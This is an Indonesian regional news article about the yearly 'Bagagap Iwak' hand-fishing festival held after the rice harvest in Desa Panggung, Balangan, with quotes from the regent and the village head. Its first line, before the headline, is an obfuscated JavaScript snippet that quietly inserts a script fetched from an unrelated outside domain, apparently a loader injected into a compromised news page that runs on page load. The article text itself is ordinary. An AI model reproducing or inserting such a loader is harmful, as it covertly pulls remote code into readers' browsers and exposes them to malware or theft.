(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tradisi “Bagagap Iwak” Warga Desa Panggung di Balangan

KANALKALIMANTAN.COM, PARINGIN – Ratusan warga turun ke danau “Bagagap Iwak” atau menangkap ikan dengan tangan kosong di Desa Panggung, Kecamatan Paringin Selatan, Kabupaten Balangan, Rabu (12/6/2024) siang.

Kegiatan ini dilaksanakan di lahan milik masyarakat yang digunakan warga empat desa yakni Desa Inan, Desa Panggung, Desa Maradap, dan Desa Galumbang atau lebih dikenal dengan nama Tabat Besar Kali Maraup. Budaya Babagap Iwak telah menjadi tradisi tahunan bagi masyarakat empat desa itu.

Bupati Balangan Abdul Hadi mengatakan kegiatan ini sudah puluhan tahun berlangsung dan setiap tahun digelar pasca panen padi yang dilakukan oleh masyarakat setempat, dalam artian sebagai bentuk syukur atas panen yang dihasilkan.

Bupati mengapresiasi antusias masyarakat yang sangat besar dan heboh saat mengikuti kegiatan tradisional ini. Kolam-kolam yang telah disediakan oleh panitia pada lomba “Bagagap Iwak” dipenuhi warga.

“Insyaallah pada tahun depan kegiatan ini akan kita masukkan ke dalam event tahunan Kabupaten Balangan, agar orang makin banyak datang ke sini menyaksikan acara meriah ini,” ucap Abdul Hadi.

Sementara itu, Kepala Desa Panggung Yusnadi mengungkapkan, tradisi Bagagp Iwak ini sudah turun-temurun dilakukan dari warga desa. Dan hari ini bersama Bupati Balangan sudah kali ketiga dan berhadiah. Yusnadi berharap Bagagap Iwak dikenal ke masyarakat luar, agar nantinya saat dilaksanakan kembali semakin meriah sebagai event wisata. (Kanalkalimantan.com/mcbalangan)

Reporter: mcbalangan
Editor: kk